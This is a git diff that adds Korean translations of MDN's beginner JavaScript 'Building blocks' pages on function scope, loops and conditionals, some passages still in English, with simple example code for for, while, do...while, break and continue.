사육사는 전역 스코프와 같습니다. 그들은 모든 울타리에 들어갈 수 있고, 먹이를 보충하고, 아픈 동물들을 돌볼 수 있어요.

+ +

실습: 스코프랑 놀자

+ +

스코프 사용의 실례를 한번 봅시다.

+ +
    +
  1. 먼저, 주어진 function-scope.html 예제의 복사본을 만드세요. 예제에는 2개의 function a() 와 b() 와, 3개의 변수 — x, y, 와 z —가 있습니다.  그 중 2개는 함수 안에 정의되어 있으며, 1개는 전역 범위에 정의되어 있습니다. It also contains a third function called output(), 이건 하나의 매개변수만 받으며, and outputs it in a paragraph on the page.
  2. +
  3. 예제를 인터넷 브라우저나 텍스트 에디터를 통해 열어봅시다.
  4. +
  5. 브라우저 개발자 툴을에서 자바스크립트 콘솔을 엽시다. 자바스크립트 콘솔에서 아래와 같이 작성해보세요: +
    output(x);
    + 변수 x의 결과값을 볼 수 있습니다.
  6. +
  7. Now try entering the following in your console +
    output(y);
    +output(z);
    + Both of these should return an error along the lines of "ReferenceError: y is not defined". Why is that? Because of function scope — y and z are locked inside the a() and b() functions, so output() can't access them when called from the global scope.
  8. +
  9. However, what about when it's called from inside another function? Try editing a() and b() so they look like this: +
    function a() {
    +  var y = 2;
    +  output(y);
    +}
    +
    +function b() {
    +  var z = 3;
    +  output(z);
    +}
    + Save the code and reload it in your browser, then try calling the a() and b() functions from the JavaScript console: + +
    a();
    +b();
    + You should see the y and z values output in the page. This works fine, as the output() function is being called inside the other functions — in the same scope as the variables it is printing are defined in, in each case. output() itself is available from anywhere, as it is defined in the global scope.
  10. +
  11. Now try updating your code like this: +
    function a() {
    +  var y = 2;
    +  output(x);
    +}
    +
    +function b() {
    +  var z = 3;
    +  output(x);
    +}
    +
  12. +
  13. Save and reload again, and try this again in your JavaScript console: +
    a();
    +b();
    +
  14. +
  15. Both the a() and b() call should output the value of x — 1. These work fine because even though the output() calls are not in the same scope as x is defined in, x is a global variable so is available inside all code, everywhere.
  16. +
  17. Finally, try updating your code like this: +
    function a() {
    +  var y = 2;
    +  output(z);
    +}
    +
    +function b() {
    +  var z = 3;
    +  output(y);
    +}
    +
  18. +
  19. Save and reload again, and try this again in your JavaScript console: +
    a();
    +b();
    + This time the a() and b() calls will both return that annoying "ReferenceError: z is not defined" error — this is because the output() calls and the variables they are trying to print are not defined inside the same function scopes — the variables are effectively invisible to those function calls.
  20. +
+ +
+

Note: The same scoping rules do not apply to loop (e.g. for() { ... }) and conditional blocks (e.g. if() { ... }) — they look very similar, but they are not the same thing! Take care not to get these confused.

+
+ +
+

Note: The ReferenceError: "x" is not defined error is one of the most common you'll encounter. If you get this error and you are sure that you have defined the variable in question, check what scope it is in.

+
+ + + +

Functions inside functions

+ +

Keep in mind that you can call a function from anywhere, even inside another function.  This is often used as a way to keep code tidy — if you have a big complex function, it is easier to understand if you break it down into several sub-functions:

+ +
function myBigFunction() {
+  var myValue;
+
+  subFunction1();
+  subFunction2();
+  subFunction3();
+}
+
+function subFunction1() {
+  console.log(myValue);
+}
+
+function subFunction2() {
+  console.log(myValue);
+}
+
+function subFunction3() {
+  console.log(myValue);
+}
+
+ +

Just make sure that the values being used inside the function are properly in scope. The example above would throw an error ReferenceError: myValue is not defined, because although the myValue variable is defined in the same scope as the function calls, it is not defined inside the function definitions — the actual code that is run when the functions are called. To make this work, you'd have to pass the value into the function as a parameter, like this:

+ +
function myBigFunction() {
+  var myValue = 1;
+
+  subFunction1(myValue);
+  subFunction2(myValue);
+  subFunction3(myValue);
+}
+
+function subFunction1(value) {
+  console.log(value);
+}
+
+function subFunction2(value) {
+  console.log(value);
+}
+
+function subFunction3(value) {
+  console.log(value);
+}
+ +

Conclusion

+ +

This article has explored the fundamental concepts behind functions, paving the way for the next one in which we get practical and take you through the steps to building up your own custom function.

+ +

See also

+ + + + + +

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/building_blocks/index.html b/files/ko/learn/javascript/building_blocks/index.html new file mode 100644 index 0000000000..27e2a90cf5 --- /dev/null +++ b/files/ko/learn/javascript/building_blocks/index.html @@ -0,0 +1,49 @@ +--- +title: JavaScript 구성요소 +slug: Learn/JavaScript/Building_blocks +tags: + - 가이드 + - 국제화 + - 소개 + - 자바스크립트 + - 초보자 + - 함수 +translation_of: Learn/JavaScript/Building_blocks +--- +
{{LearnSidebar}}
+ +

이번 장에서는 조건문, 반복문, 함수, 이벤트 등 일반적으로 발생하는 코드 종류를 중심으로 JavaScript의 중요한 기본 기능에 대해 설명합니다. 지금까지의 과정을 지나면서 여기서 다룰 내용을 살짝 보셨겠지만 좀 더 심도있게 다루겠습니다.

+ +

선행사항

+ +

시작하기전에, 기본 HTMLCSS 기본지식을 가지고 계신 것이 좋습니다. 그리고 JavaScript 첫 걸음을 꼭 진행하신후 오시기 바랍니다.

+ +
+

Note: 여기 나온 코드를 작성하고 실행해 볼 수 없는 환경이라면 (태블릿, 스마트폰, 기타장치) , JSBin이나 Glitch에서 대부분의 예제를 시험해 볼 수 있습니다.

+
+ +

가이드

+ +
+
Making decisions in your code — conditionals
+
어떤 프로그래밍 언어든 코드는 의사 결정을 내리고 입력 내용에 따라 작업을 수행해야합니다. 예를 들어 게임에서 플레이어의 생명 수치가 0이면 게임이 종료됩니다. 날씨 앱에서는 아침에 해가 뜬 그림을 보여주고 밤에는 달과 별을 보여줍니다. 이 문서에서는 JavaScript에서 조건문이 작동하는 방법을 살펴 보겠습니다. 
+
반복문
+
때로는 여러 반복 작업을 수행해야 할 때가 있습니다. 예를 들면 이름 목록을 살펴보는 것입니다. 프로그래밍에서 이런 반복 작업은 매우 적합합니다. JavaScript의 반복문 구조를 살펴봅니다.
+
함수 — 코드 재사용
+
코딩의 또 다른 핵심 개념은 함수입니다. 함수를 사용하면 정의된 구간 안에 하나의 작업을 하는 코드를 저장한 후, 같은 코드를 여러 번 입력하지 않고도 짧은 명령어를 사용해 이 코드를 이용할 수 있습니다. 기본 문법, 함수, 범위 및 매개 변수를 호출하고 정의하는 방법과 같은 함수의 기본 개념을 살펴봅니다.
+
함수 만들기
+
그동안 배운 이론을 활용해 실제 코드를 작성해봅니다. 사용자 정의 함수를 작성해 보고, 함수의 유용한 기능을 좀 더 알아봅니다.
+
함수는 값을 반환한다
+
함수에 대해 알아야 할 마지막 필수 개념은 반환값입니다. 어떤 함수는 완료하면서 값을 반환하지 않지만, 반환하는 함수도 있습니다. 값이 무엇인지, 코드에서 어떻게 사용하는지, 여러분이 작성한 함수가 어떻게 값을 반환하는지 이해하는 것이 중요합니다.
+
Introduction to events
+
이벤트란 프로그래밍중인 시스템에서 발생하는 동작이나 발생을 말하며, 시스템에서 그에 대해 알려주므로 원하는 경우 사용자가 어떤 방식으로든 이에 응답 할 수 있습니다. 예를 들어 사용자가 웹 페이지에서 버튼을 클릭하면 정보 상자를 표시하여 해당 작업에 응답 할 수 있습니다. 이 마지막 문서에서는 이벤트를 둘러싼 몇 가지 중요한 개념에 대해 이야기하고 브라우저에서 어떻게 작동하는지 살펴 보겠습니다.
+
+ +

평가

+ +

여기에선 위에서 다룬 JavaScript 기본 사항에 대해 여러분이 얼마나 이해했는지 테스트해볼 수 있습니다..

+ +
+
Image gallery
+
이제 JavaScript의 기본 구성 요소를 살펴 보았으므로 많은 웹 사이트에서 볼 수있는 공통 항목인 JavaScript 기반 이미지 갤러리를 만들어 반복문, 함수, 조건문, 이벤트에 대한 지식을 테스트합니다.
+
diff --git a/files/ko/learn/javascript/building_blocks/looping_code/index.html b/files/ko/learn/javascript/building_blocks/looping_code/index.html new file mode 100644 index 0000000000..e95a78af37 --- /dev/null +++ b/files/ko/learn/javascript/building_blocks/looping_code/index.html @@ -0,0 +1,948 @@ +--- +title: Looping code +slug: Learn/JavaScript/Building_blocks/Looping_code +tags: + - for문 + - 반복문 + - 초보자 +translation_of: Learn/JavaScript/Building_blocks/Looping_code +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/조건문", "Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}
+ +

프로그래밍 언어는 다양한 작업을 통해 반복적 인 작업을 신속하게 처리 할 수 ​​있습니다. 이제 우리는 JavaScript를 사용하여 반복 구문을 사용하여 편리하게 처리 할 수 ​​있습니다. 

+ + + + + + + + + + + + +
선수 과목 :기본적인 컴퓨터 활용 능력, HTML과 CSS, 자바 스크립트 의 기본 이해 .
목표:JavaScript에서 루프를 사용하는 방법을 이해합니다.
+ +

나를 계속 붙잡아 라.

+ +

반복(loop), 반복 반복. popular breakfast cereals, roller coasters 그리고 musical production과 같이, 그것들은 프로그래밍의 중요한 개념이다. 프로그래밍 loop는 반복적으로 동일한 작업을 반복하는것이고 이런것들을 프로그래밍 언어로 loop라 한다.

+ +

가족들이 일주일동안 먹을 식량이 충분한지 확신하기 위해 고민하는 농부의 상황을 보자. 그는 이것을 알기위해 다음과 같은 loop를 취할수 있다:

+ +


+

+ +

이 loop에서 다음과 같이 우리는 한가지 이상의 기능을 가질수 있다:

+ + + +

{{glossary("pseudocode")}}에서 이것은 다음과 같아 보일 것이다.:

+ +
loop(food = 0; foodNeeded = 10) {
+  if (food = foodNeeded) {
+    exit loop;
+    // We have enough food; let's go home
+  } else {
+    food += 2; // Spend an hour collecting 2 more food
+    // loop will then run again
+  }
+}
+ +

따라서 필요한 음식의 양은 10으로 설하고, 현재 농부의 양은 0으로 설정한다. 매 반복마다 농부의 음식 양이 필요한 양과 같은지 확인한다. 필요한 양을 얻었다면 loop를 종료 할수 있다. 그렇지 않다면, 농부는 음식을 모을때까지 다시 반복해서 loop를 실행한다.

+ +

왜 귀찮게?

+ +

여기에서 loop의 뒤에 있는 고급개념을 이해했을 것이다. 하지만 "그래 뭐 괜찮군 그래서 이 코드가 어떻게 도움이 될수 있는거지?"라고 생각할수도 있다. 앞서 말햇듯이 loop는 반복적인 작업을 빠르게 동일한 작업을 반복해서 수행해 완료하는 것이다.

+ +

종종 코드는 각각의 연속적인 반복된 loop에서 조금씩 달라질수도 있다. 그래서 유사하지만 약간 다른 작업에 이것을 이용해 작업을 완료할수도 있다.만약 너가 여러가지 다른종류의 계산을 해야한다면, 반복해서 처리하는게 아닌 각각 계산하고 싶을것이다.

+ +

Loop가 왜 그렇게 좋은지 완벽하게 설명하는 예제를 한번 보자. {{htmlelement("canvas")}}  element에 100개의 무작위 원을 그려야 한다고 가정해보자. (예제를 다시 실행하여 다른 임의의 세트를 보려면 Update 버튼을 클릭) :

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 400, "", "", "hide-codepen-jsfiddle") }}

+ +

지금 당장은 모든 코드를 이해할 필요는 없지만 실제로100개의 원을 그리는 코드를 살펴보자:

+ +
for (let i = 0; i < 100; i++) {
+  ctx.beginPath();
+  ctx.fillStyle = 'rgba(255,0,0,0.5)';
+  ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+  ctx.fill();
+}
+ + + +

우리는 이 코드를 100번 반복하기 위해서 loop를 사용하고 있다. 너는 여기에서 기본적인 아이디어를 얻을수 있다. 코드는 페이지에서 임의의 위치에 원을 그린다. 코드의 크기가 100개가 되든 1000개가 되든 또는 10,000개가 되든간에 동일하게 작업을 수행할것이다. 너는 숫자만 변경하면된다.

+ +

만약 우리가 loop를 사용하지 않았다면 원을 그릴때마다 다음 코드를 반복해서 써야한다 :

+ +
ctx.beginPath();
+ctx.fillStyle = 'rgba(255,0,0,0.5)';
+ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+ctx.fill();
+ +

이것은 겁나 지루하고 빠르게 유지하기 힘들것이다. 이럴때 loop를 사용하는게가장 좋다.

+ +

루프의 표준

+ +

특정 loop 구문을 살펴보도록 하자. 대부분의 시간을 보낼 첫번째는 for loop이다. 이 구문은 다음과 같다:

+ +
for (initializer; exit-condition; final-expression) {
+  // code to run
+}
+ +

여기서 우리가 알수있는것:

+ +
    +
  1. for 라는 키워드를 쓰고 그옆에 괄호를 만든다.
  2. +
  3. 괄호 안에는 세미콜론(;)으로 구분 된 세개의 항목이 있다. +
      +
    1. initializer — 일반적으로 숫자로 설정된 변수이며 루프가 실행 된 횟수가 얼마나 되는제 되는지 알기위해 증가한다 그것을 counter variable라고 한다.
    2. +
    3. exit-condition — 앞에서 언급했듯이 loop가 loop를 언제 멈출지 정의한다. 이 조건은 일반적으로 비교 연산자, 종료 조건이 충족되었는지 확인하는 테스트를 특징으로 하는 표현식이다.
    4. +
    5. A final-expression — 이것은 매번 loop 전체가 반복이 될때 항상 분석(또는 실행)한다. 일반적으로 counter variable를 증가(또는 경우에 따라 감소)하여 종료 조건 값으로 점점 가까워진다.
    6. +
    +
  4. +
  5. 코드 블럭을 감싸는 중괄호({}) — 중괄호 안에 있는 코드는 loop가 반복 될 때마다 실행된다.
  6. +
+ +

실제 예제를 보면서 이러한 것들이 무엇을 더 확실하게 시각화 할 수 있는지 살펴보자.

+ +
const cats = ['Bill', 'Jeff', 'Pete', 'Biggles', 'Jasmin'];
+let info = 'My cats are called ';
+const para = document.querySelector('p');
+
+for (let i = 0; i < cats.length; i++) {
+  info += cats[i] + ', ';
+}
+
+para.textContent = info;
+ +

이것은 우리에게 다음과 같은 결과를 보여준다:

+ + + +

{{ EmbedLiveSample('Hidden_code_2', '100%', 60, "", "", "hide-codepen-jsfiddle") }}

+ +
+

Note: 너는 example code on GitHub too (also see it running live)에서 예제를 찾을수 있다.

+
+ +

이것은 배열의 항목을 반복하는 데 사용되는 loop를 보여 주며 각각의 항목을 사용하여 JavaScript에서 매우 일반적인 패턴을 나타낸다:

+ +
    +
  1. iterator i는 0에서부터 시작한다 (let i = 0).
  2. +
  3. cats의 배열의 길이보다 작을때 까지만 실행하라는 명령을 받았다. 이것은 중요하다. 종료 조건은 loop가 계속 실행되는 조건을 나타낸다. 따라서 이 경우에는 i < cats.length 까지만 loop가 true여서 계속 실행된다.
  4. +
  5. loop 안에서 현재 loop항목(cats[i가 몇번 실행되었던지 간에 cats[i] 는)과 쉼표 및 공백을 info변수 끝에 위치한다: +
      +
    1. 처음 실행되는 동안, i = 0, 이므로 cats[0] + ', ' 는 info ("Bill, ")에 옆에 위치한다.
    2. +
    3. 두번째로 실행되는 동안, i = 1, 이므로 cats[1] + ', ' 역시 info ("Jeff, ")에 옆에 위치한다.
    4. +
    5. 계속해서 loop가 실행될 때마다 1이 i (i++)에 추가되고, 프로세스가 다시 시작된다.
    6. +
    +
  6. +
  7. i의 값이  cats.length같아질때, loop는 멈추고, 브라우저는 loop 아래의 다음 코드로 넘어가게된다.
  8. +
+ +
+

Note:  컴퓨터는 1이 아닌 0부터 계산하기 때문에 exit 조건을i <= cats.length이 아닌 i < cats.length로 설정했다. — 우리는  i 를 0에서 시작해서,  i = 4 (배열의 마지막 index 항목)까지 실행한다. cats.length 는 5개의 항목을 가지고있어 5까지 반환하지만 우리는 i = 5까지의 값을 원하지 않으므로 마지막 항목은 undefined를 반환하게 된다.(그래서 index가 5인 배열 항목이 존재하지 않는다.)그러므로  cats.length (i <=) 를 쓰지 않고 cats.length (i <)로 만들었다.

+
+ +
+

Note: exit조건의 공통적인 실수는  "작거나 같다" (<=)를 사용하는것보다  "동등"(===)을 사용하는것이다 . 만약 우리가 i = 5까지 loop를 사용한다면  exit 조건은 i <= cats.length가 되어야 한다. 만약 우리가 i === cats.length로 설정한다면 그 loop는 전부를 실행하지 않을것이다 왜냐하면 i는 첫번째 loop에서 5와 같지 않기 때문에 작업이 즉시 중단된다. 

+
+ +

우리는 마지막으로 출력되는 문장이 잘 만들어지지 않았다는 작은 문제를 가지고 있다.:

+ +
+

My cats are called Bill, Jeff, Pete, Biggles, Jasmin,

+
+ +

이상적으로 우리는 문장의 마지막에 쉼표가 없도록 마지막 loop 반복에서 연결을 변경하는것을 원한다 — 우리는 for loop 내부에서 조건부를 넣어서 이 특별한 경우를 처리할수 있다:

+ +
for (let i = 0; i < cats.length; i++) {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+}
+ +
+

Note: 너는 example code on GitHub too (also see it running live)에서 예제를 찾아볼수있다.

+
+ +
+

중요: With for — 모든 loop와 마찬가지로 — initializer 가 반복되어 결국 종료 조건에 도달하는지 확인해야 한다. 그렇지 않으면 loop가 영원히 계속되고 브라우저가 강제로 중지 시키거나 충돌하게 된다. 이를  우리는 infinite loop(무한 루프)라 한다.

+
+ +

Break을 가지고있는 loops

+ +

만약 너가 모든 반복이 완료되기 전에 loop를 종료하려면 break 문을 사용할수 있다. 우리는 이미 이전 설명에서 switch statements을 본적이 있다. — 입력 식과 일치하는 switch 문에서 case가 충족되면 break 문은 switch 문을 즉시 종료하고 그 뒤에 코드로 이동한다.

+ +

이것은 loop와 같다. — break 문은 즉시 loop를 빠져 나와 브라우저가 그 다음에 나오는 코드로 이동하게 한다.

+ +

여러 연락처와 전화 번호를 검색하여 찾고자 하는 번호 만 반환하고 싶다고 해보자 먼저 간단한 HTML — 우리가 검색할 이름을 입력 할 수 잇께 해주는 텍스트 {{htmlelement("input")}}, 검색 제출을 위한 {{htmlelement("button")}}요소, 그리고 {{htmlelement("p")}} 요소를 사용해 결과를 표시하자:

+ +
<label for="search">Search by contact name: </label>
+<input id="search" type="text">
+<button>Search</button>
+
+<p></p>
+ +

이제 JavaScript를 보자:

+ +
const contacts = ['Chris:2232322', 'Sarah:3453456', 'Bill:7654322', 'Mary:9998769', 'Dianne:9384975'];
+const para = document.querySelector('p');
+const input = document.querySelector('input');
+const btn = document.querySelector('button');
+
+btn.addEventListener('click', function() {
+  let searchName = input.value;
+  input.value = '';
+  input.focus();
+  for (let i = 0; i < contacts.length; i++) {
+    let splitContact = contacts[i].split(':');
+    if (splitContact[0] === searchName) {
+      para.textContent = splitContact[0] + '\'s number is ' + splitContact[1] + '.';
+      break;
+    } else {
+      para.textContent = 'Contact not found.';
+    }
+  }
+});
+ + + +

{{ EmbedLiveSample('Hidden_code_3', '100%', 100, "", "", "hide-codepen-jsfiddle") }}

+ +
    +
  1. 우선 우리는 몇 가지 변수 정의를 한다. 우리는 각 항목이 콜론(:)으로 구분 된 이름과 전화 번호를 포함하는 문자열인 연락처 정보 배열을 가지고 있다.
  2. +
  3. 그 다음에는 버튼 (btn)에 EventListener에 연결하여 버튼을 누르면 검색을 수행하고 결과를 반환하는 코드를 실행한다.
  4. +
  5. 텍스트 input을 비우고 text input 에 focus를 두기 전에, 다음 검색을 준비하기위해 텍스트 input에 입력한 값을 searchName이라는 변수에 저장한다.  
  6. +
  7. 이제 for 반복문의 흥미로운 점을 보자: +
      +
    1. 카운터를 0에서 시작하고 카운터가 contacts.length 보다 커지지 않을때 까지 loop를 실행하고 i 를 1씩 증가시킨다.
    2. +
    3. 반복문 내부에서 먼저 콜론 문자에서 현재 연락처(contacts[i]) 를 나누고 결과값이 두 값을splitContact라는 배열에 저장한다.
    4. +
    5. 그런 다음 splitContact[0] (the contact's name)의 값과 입력된 값 searchName이 같은지 조건문을 이용하여 테스트한다. 두값이 같은 경우, 우리는 para 값에 문자열을 입력하여 연락처 번호를 알린후 break 을 사용하여 loop를 종료한다.
    6. +
    +
  8. +
  9. +

    연락처 이름(contacts.length-1) 을 반복한 후 연락처 이름이 입력 된 검색과 일치 하지 않으면 단락 텍스트가 "연락처 를 찾을 수 없습니다."로 설정되고 반복문이 계속 반복된다.

    +
  10. +
+ +
+

Note: 너는 full source code on GitHub too (also see it running live) 에서 전체 코드를 볼수있다.

+
+ +

Continue로 반복 건너뛰기

+ +

continue문은 break과 비슷한 방식으로 작동하지만 loop에서 완전히 벗어나는 대신 loop의 다음 반복으로 건너 뛰게된다. 숫자를 입력으로 사용하고 정수의 제곱 인 숫자 (정수)만 반환하는 또 다른 예를 살펴보자.

+ +

HTML 코드는 기본적으로 마지막 예제와 같다 — 간단한 텍스트 입력 및 출력을 위한 단락, loop자체가 약간 다르긴 하지만 JavaScript는 대부분 동일하다 :

+ +
let num = input.value;
+
+for (let i = 1; i <= num; i++) {
+  let sqRoot = Math.sqrt(i);
+  if (Math.floor(sqRoot) !== sqRoot) {
+    continue;
+  }
+
+  para.textContent += i + ' ';
+}
+ +

여기에서 출력값을 볼수있다:

+ + + +

{{ EmbedLiveSample('Hidden_code_4', '100%', 100, "", "", "hide-codepen-jsfiddle") }}

+ +
    +
  1. 이 경우에 입력된 값은 숫자(num)여야 한다. for loop는 1에서 시작하는 카운터(이 경우에는 0에 관심이 없기 때문에), 카운터가 입력 num 보다 커질 때 루프가 중지 될 것이라고 말하는 종료 조건 및  매회 마다 1씩 증가되는 반복자가 주어진다.
  2. +
  3. Loop 내에서Math.sqrt(i)를 사용하여 숫자의 제곱근을 찾은 다음 제곱근이 가장 가까운 정수로 반올림 된 경우와 같은지 테스트 하여 제곱근이 정수인지 확인한다. Math.floor()가 전달받은 숫자에 대해 정수로 바꿔준다.
  4. +
  5. 만약 제곱근과 정수로 바뀐 제곱근이 서로 같지 않다면(!==) 제곱근이 정수가 아니므로 관심이 없다. 이 경우continue 문을 사용하여 번호를 기록하지 않고 다음 루프 반복으로 건너 뛴다.
  6. +
  7. 만약 제곱근이 정수 인 경우 continue 문이 실행되지 않도록 if 블록을 지나치게 건너 뛴다. 대신 현재 i 값과 단락 내용 의 끝 부분에 공백을 연결한다.
  8. +
+ +
+

Note: 너는  full source code on GitHub too (also see it running live)에서 전체 코드를 볼수 있다.

+
+ +

while 그리고 do ... while

+ +

for 는 JavaScript에서 사용할 수 잇는 유일한 유형의 loop가 아니다. 실제로 많은 다른 것들이 있따. 지금 모든 것을 이해할 필요는 없지만 약간 다른 방식으로 같은 기능을 인식 할 수 있도록 몇 가지 다른 구조를 살펴 보는것이 좋다.

+ +

먼저 while loop를 살펴보자 이 loop의 구문은 다음과 같다:

+ +
initializer
+while (exit-condition) {
+  // code to run
+
+  final-expression
+}
+ +

이는 for loop와 매우 비슷하게 작동한다. 단,  initializer 변수가 loop 앞에 설정되어 있고, final-expression이 실행되는 코드 다음에 loop 내에 포함되어 있지 않다. 이 두개가 괄호 안에 포함되어 있지 않다. exit-조건은 괄호 안에 포함되며 for대신 while 키워드가 온다.

+ +

같은 세 가지 항목이 여전히 존재하며 for loop와 동일한 순서로 정의되어 있다. exit 조건에 도달햇는지 여부를 확인 하기 전에 initializer를 정의해야 하므로 의미가 있다. loop 내부의 코드가 실행 된 후 최종 조건이 실행되고 (반복이 완료 되었다.) 이는 exit 조건에 아직 도달하지 않은 경우에만 발생한다. 

+ +

고양이 목록 예제를 다시 한번 살펴 보자 while loop를 사용하도록 다시 작성해 보자:

+ +
let i = 0;
+
+while (i < cats.length) {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+
+  i++;
+}
+ +
+

Note: 이것은 여전히 예상하는 바와 똑같이 작동한다  running live on GitHub (also view the full source code).

+
+ +

do...while loop 는 많이 비슷하지만 while 구조에 변형을 제공한다:

+ +
initializer
+do {
+  // code to run
+
+  final-expression
+} while (exit-condition)
+ +

이 경우 루프가 시작되기 전에 initializer가 다시 시작된다. do 키워드 는 실행할 코드와 최종 표현식을 포함하는 중괄호 바로 앞에 온다.

+ +

여기서 차별화 요소는 종료 조건이 그 밖의 모든 것 다음에 괄호로 묶여 있고 while 키워드로 시작한다는 것이다. do...while loop 에서 중괄호 안의 코드는 체크가 실행되기 전에 항상 한 번 실행되어 다시 실행되어야 하는지를 확인한다.( 체크가 먼저 오면 코드가 실행 되지 않을 수도 있다.)

+ +

do...while loop를 사용하기 위해 고양이 목록 예제를 다시 작성해 보자:

+ +
let i = 0;
+
+do {
+  if (i === cats.length - 1) {
+    info += 'and ' + cats[i] + '.';
+  } else {
+    info += cats[i] + ', ';
+  }
+
+  i++;
+} while (i < cats.length);
+ +
+

Note: 다시 말하지만 이것은 예상했던 것과 똑같이 작동한다. running live on GitHub (also view the full source code).

+
+ +
+

중요: while과 do ... while - while -  모든 loop와 마찬가지로 - initalizer 가 반복 되어 결국 종료 조건에 도달하는지 확인해야 한다. 그렇지 않으면 loop는 영원히 계속되고 브라우저가 강제로 종료 시키거나 충돌한다. 이를 infinite loop(무한 루프)라한다.

+
+ +

활동 학습: 카운트 다운 시작!

+ +

이 연습에서 출력 상자에 간단한 발사 카운트 다운을 인쇄하여 특히 우리가 원하는10에서 Blast off로 출력한다:

+ + + +

만약 실수를 한 경우 "재설정" 버튼을 사용하여 예제를 얼마든지 재설정 할수 있다. 정말 모르겠다면 "soultion보기"를 눌러 풀이를 보자

+ + + +

{{ EmbedLiveSample('Active_learning', '100%', 880, "", "", "hide-codepen-jsfiddle") }}

+ +

활동 학습: 손님 목록 작성

+ +

이 연습에서 배열에 저장된 이름 목록을 가져 와서 손님 목록에 넣기를 원한다. 그러나 그것은 쉽지 않다. — 우리는 Phil과 Lola가 욕심 많고 무례하고, 항상 모든 음식을 먹기 때문에 Phil과 Lola를 들여 보내고 싶지 않다. 우리는 초대할 손님 목록과 거절할 손님목록을 가지고 있다.

+ +

특히, 우리가 너에게 원하는 것:

+ + + +

우리는 너에게 이미 아래의 것들을 제공했다:

+ + + +

추가 보너스 질문 — 위의 작업을 성공적으로 마친 후에는 쉼표로 구분 된 두 개의 이름 목록이 남지만 정리되지 않는다. 각 끝에 쉼표가 표시된다. 각각의 경우에 마지막 쉼표를 잘라내는 줄을 작성하는 방법을 알아 내고 마지막에 모든것을 멈추는 코드를 추가할수 있겠어? 도움이 되는 Useful string methods 도움말을 읽어봐라.

+ +

실수를 한 경우 "재설정"버튼을 사용하여 예제를 언제든지 재설정 할 수 있다. 정말 힘들다면 "solution보기"를 눌러 풀이를 확인할수 있다.

+ + + +

{{ EmbedLiveSample('Active_learning_2', '100%', 680, "", "", "hide-codepen-jsfiddle") }}

+ +

어떤 loop종류를 사용하나?

+ +

기본적으로 for, while, 그리고 do...while loops 는 상호 교환이 가능하다. 그들은 모두 동일한 문제를 해결하는 데 사용할수 있으며, 사용하는 것은 주로 개인의 취향에 달려 있다. 가장 기억하기 쉽거나 가장 직관적인 방법을 찾아라. 다시 한번 살펴보자.

+ +

First for:

+ +
for (initializer; exit-condition; final-expression) {
+  // code to run
+}
+ +

while:

+ +
initializer
+while (exit-condition) {
+  // code to run
+
+  final-expression
+}
+ +

and finally do...while:

+ +
initializer
+do {
+  // code to run
+
+  final-expression
+} while (exit-condition)
+ +

우리는 적어도 for를 처음에는 모든 것중에 기억하는 것이 가장 쉽기 때문에 추천한다. — initializer, exit 조건 및 최종 표현식은 모두 괄호 안에 깔끔하게 들어가야 하므로 어디에 있는지 쉽게 알 수 있다. 너가 그것들을 놓치지 않게 잘 점검해보자.

+ +
+

Note: 고급 / 특수한 상황에서 나아가 다른 loop 유형 / 기능도 있다. loop 학습으로 더 자세히 알고 싶다면 Loops and iteration guide 를 읽어보자.

+
+ +

결론

+ +

이 설명에서는 기본 개념과 JavaScript에서 반복되느 코드를 사용할 수 있는 여러 가지 옵션에 대해 설명했다. 이제 loop가 반복적 인 코드를 처리하는 좋은 메커니즘 인 이유를 명확히 파악하고 자신의 예제에서 사용하도록 노력해야한다!

+ +

만약 이해가 되지 않는 내용이 있으면 다시 내용을 읽어보거나 contact us 를 통해 도움을 요청하자.

+ +

또한 볼것

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}

+ +

In this module

+ + diff --git "a/files/ko/learn/javascript/building_blocks/\354\241\260\352\261\264\353\254\270/index.html" "b/files/ko/learn/javascript/building_blocks/\354\241\260\352\261\264\353\254\270/index.html" new file mode 100644 index 0000000000..858d6f9116 --- /dev/null +++ "b/files/ko/learn/javascript/building_blocks/\354\241\260\352\261\264\353\254\270/index.html" @@ -0,0 +1,770 @@ +--- +title: Making decisions in your code — 조건문 +slug: Learn/JavaScript/Building_blocks/조건문 +translation_of: Learn/JavaScript/Building_blocks/conditionals +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}
+ +

어떤 프로그래밍 언어든 코드는 의사 결정을 내리고 입력 내용에 따라 작업을 수행해야합니다. 예를 들어 게임에서 플레이어의 생명 수치가 0이면 게임이 종료됩니다. 날씨 앱에서는 아침에 해가 뜬 그림을 보여주고 밤에는 달과 별을 보여줍니다. 이 문서에서는 JavaScript에서 조건문이 작동하는 방법을 살펴 보겠습니다.

+ + + + + + + + + + + + +
선행 조건: +

기본적인 컴퓨터 활용 능력, HTML, CSS, Javascript 첫 걸음

+
목표: +

자바스크립트에서 조건문의 사용법을 이해합니다.

+
+ +

당신은 하나의 조건을 가질 수 있습니다.

+ +

사람(과 동물)은 작은 것(과자를 하나 먹을까? 두개 먹을까?)부터 큰 것(고향에 머물면서 아버지의 농장에서 일해야 할까? 아니면 천체물리학을 공부하러 미국으로 유학을 갈까?)까지 자신의 경험을 바탕으로 결정합니다.

+ +

조건문은 결정해야 하는 선택(예를 들면, "과자 하나? 두 개?)부터 선택의 결과(과자를 하나 먹으면 여전히 배고플 수 있고, 두 개를 먹으면 배는 부르지만, 엄마한테 과자를 다 먹었다고 혼날 수 있다)까지 자바스크립트에서 의사 결정을 내릴 수 있습니다. 

+ +

+ +

if ... else 문

+ +

자바스크립트에서 사용하는 조건문 중에서 가장 일반적인 유형을 봅시다. — the humble if ... else statement.

+ +

if ... else 문법

+ +

if...else 문법은 {{glossary("pseudocode")}} 다음과 같습니다:

+ +
